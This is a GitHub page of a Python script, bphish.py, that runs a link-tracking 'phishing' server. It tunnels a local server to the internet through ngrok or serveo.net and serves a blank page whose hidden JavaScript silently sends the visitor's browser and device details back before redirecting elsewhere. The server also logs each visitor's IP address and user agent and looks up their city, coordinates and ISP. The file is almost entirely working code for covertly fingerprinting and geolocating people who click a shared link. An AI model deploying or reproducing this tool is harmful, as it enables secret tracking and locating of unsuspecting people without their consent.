-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathbphish.py
294 lines (248 loc) · 9.42 KB
/
bphish.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
import urllib.request
import json
import os
import sys
import subprocess
import re
import socket
from time import sleep
current_client_ip=""
def check_connection():
try:
urllib.request.urlopen("https://google.com")
return True
except:
return False
def start_ngrok_http(port=80):
try:
ngrok_path = os.path.join(os.getcwd(), "ngrok")
if not os.path.isfile(ngrok_path):
raise FileNotFoundError("Ngrok executable not found in the current directory.")
process = subprocess.Popen(
[ngrok_path, "http", str(port)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
sleep(2)
result = subprocess.run(
["curl", "-s", "http://localhost:4040/api/tunnels"],
capture_output=True,
text=True
)
if result.returncode != 0:
raise Exception("Failed to fetch tunnel details from ngrok API.")
tunnels = json.loads(result.stdout)
for tunnel in tunnels.get("tunnels", []):
if tunnel.get("proto") == "https":
return tunnel.get("public_url")
raise Exception("No HTTPS tunnel found.")
except Exception as e:
print(f"Error: {e}")
return None
def get_ip_info(ip):
url = "https://ipinfo.io/{}/json".format(ip)
response = urllib.request.urlopen(url)
if response.getcode() == 200:
read_data = json.loads(str(response.read(),'utf-8'))
if read_data['city']:
print("city Name ::: {}".format(read_data['city']))
if read_data['region']:
print("region Name ::: {}".format(read_data['region']))
if read_data['country']:
print("country ::: {}".format(read_data['country']))
if read_data['loc']:
location = read_data['loc']
print("location ::: {}".format(location))
loc = location.split(",")
print("Google map url ::: https://www.google.com/maps?q=2{},{}".format(loc[0], loc[1]))
if read_data['org']:
print("org ::: {}".format(read_data['org']))
if read_data['postal']:
print("postal ::: {}".format(read_data['postal']))
if read_data['timezone']:
print("timezone ::: {}".format(read_data['timezone']))
def get_public_url():
pwd = os.getcwd()
ffile = pwd+"/forward.txt"
file = open(ffile, 'r')
read_data = file.read()
os.remove(ffile)
file.close()
new_data = read_data.replace("Forwarding HTTP traffic from", "")
new_data = new_data.replace("\n","")
new_data = new_data.replace("\r","")
if new_data == "":
print("Please restart.....")
sys.exit()
else:
print("shared Link ::: {}".format(new_data))
print("\n\n")
def create_public_connection():
print("1\tNgrok\n2\tServeo.net")
try:
choice = int(input("Enter choice[1/2]:"))
except:
print("Please enter 1 or 2 only")
sys.exit()
if choice == 1:
print("Getting public url....")
port = 4567
public_url = start_ngrok_http(port)
if public_url:
print(f"Shared URL: {public_url}")
else:
print("Failed to start ngrok or fetch the public URL.")
elif choice == 2:
print("Getting public url....")
pwd = os.getcwd()
file = pwd+"/forward.txt"
command = "ssh -R 80:0.0.0.0:4567 serveo.net -y > {} &".format(file)
subprocess.Popen(command, shell=True)
sleep(8)
get_public_url()
else:
print("Please enter 1 or 2 only")
sys.exit()
def home_logo():
print("""
#### ## ## ### ##### ####### #######
## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ##
## ######### ## ## ## ## ####### ########
## ## ## ######### ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ##
#### ## ## ## ## ##### ####### #######
IHA089: Navigating the Digital Realm with Code and Security - Where Programming Insights Meet Cyber Vigilance.
""")
def redirector():
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
<script>
function sendDataAndRedirect(data) {
fetch('/send', {
method: 'POST',
body: data,
})
.then(response => response.text())
.then(responseData => {
console.log('Server response:', responseData);
window.location.href = 'https://www.google.com';
})
.catch(error => {
console.error('Error:', error);
window.location.href = 'https://www.google.com';
});
}
var reader="";
var jn = navigator.javaEnabled() ? 'Yes' : 'No';
var ci = navigator.connection && navigator.connection.downlink
reader = "Platform Type ::: "+navigator.platform+"|oscpu ::: "+navigator.osCpu+"|Screen Size ::: "+window.screen.width+"x"+window.screen.height+"|ViewPort Size ::: "+window.innerWidth+"x"+window.innerHeight+"|cookies Enable ::: "+navigator.cookiesEnabled+"|Javascript Enable ::: "+jn+"|Internet Speed ::: "+ci+"Mbps";
sendDataAndRedirect(reader);
</script>
</body>
</html>
"""
return html_content
def browser_data_filter(data):
data = data.replace("Plt:", "Platform Type ::: ")
data = data.replace("oscpu:", "OsCPU ::: ")
data = data.replace("sw:", "Screen Width ::Location according browser ::: https://www.google.com/maps?q=: ")
data = data.replace("sh:", "Screen Height ::: ")
data = data.replace("vw:", "ViewPort Width ::: ")
data = data.replace("vh:", "ViewPort Height::: ")
data = data.replace("ce:", "cookies Enable ::: ")
data = data.replace("jn:", "Javascript Enable ::: ")
data = data.replace("ci:", "Internet Speed ::: ")
newdata = data.split("|")
for ndata in newdata:
print(ndata)
print("++++++++++++++++++++++++++++++++++++++++++++++++++\n\n")
def post_data_reader(client_socket, request):
match = re.match(r'POST /(\w+)', request)
if match:
path = match.group(1)
content_length_match = re.search(r'Content-Length: (\d+)', request)
main_data=str(request)
if content_length_match:
content_length = int(content_length_match.group(1))
body = client_socket.recv(content_length).decode('utf-8')
client_socket.sendall('HTTP/1.1 200 OK\nContent-Type: application/json\n\n{"status": "success"}'.encode('utf-8'))
browser_data_filter(body)
else:
client_socket.sendall('HTTP/1.1 400 Bad Request\n\nMissing Content-Length header'.encode('utf-8'))
client_socket.sendall('HTTP/1.1 200 OK\nContent-Type: application/json\n\n{"status": "success"}'.encode('utf-8'))
def filter_data(http_request):
http_lines = http_request.strip().split('\n')
headers_dict = {}
for line in http_lines[1:]:
key, value = line.split(': ', 1)
headers_dict[key] = value
try:
user_agent = headers_dict['User-Agent']
except:
user_agent = "Not Found"
try:
Accept_Language = headers_dict['Accept-Language']
except:
Accept_Language = "Not Found"
try:
sch = headers_dict['Sec-Ch-Ua']
except:
sch = "Not Found"
try:
schp = headers_dict['Sec-Ch-Ua-Platform']
except:
schp = "Not Found"
xff = headers_dict['X-Forwarded-For']
global current_client_ip
#if xff != current_client_ip:
#current_client_ip = xff
print("User Agent ::: {}".format(user_agent))
print("Accept Language ::: {}".format(Accept_Language))
print("Browser version ::: {}".format(sch))
print("Platform ::: {}".format(schp))
print("IP Address ::: {}".format(xff))
get_ip_info(xff)
def start_server(redirect_url):
iha089_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iha089_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
iha089_server.bind(("localhost", 4567))
create_public_connection()
iha089_server.listen(1)
try:
while True:
client_socket, client_address = iha089_server.accept()
request = str(client_socket.recv(1024),'utf-8')
send_data = redirector()
send_data = send_data.replace("https://google.com", redirect_url)
match = re.match(r'POST /(\w+)', request)
if match:
post_data_reader(client_socket, request)
else:
http_response = f'HTTP/1.1 200 OK\nContent-Type: text/html\n\n{send_data}'
client_socket.sendall(http_response.encode('utf-8'))
client_socket.close()
request = request.replace("\r\n","\n")
filter_data(request)
except KeyboardInterrupt:
os.system("killall ssh")
print("Exiting.....")
def main():
home_logo()
if not check_connection():
print("Please check your Internet connection")
sys.exit()
redirect_url = input("Provide redirect url(Ex: https://google.com) ::: ")
if redirect_url == "":
redirect_url = "https://google.com"
print("Starting local server...")
start_server(redirect_url)
if __name__== "__main__":
main()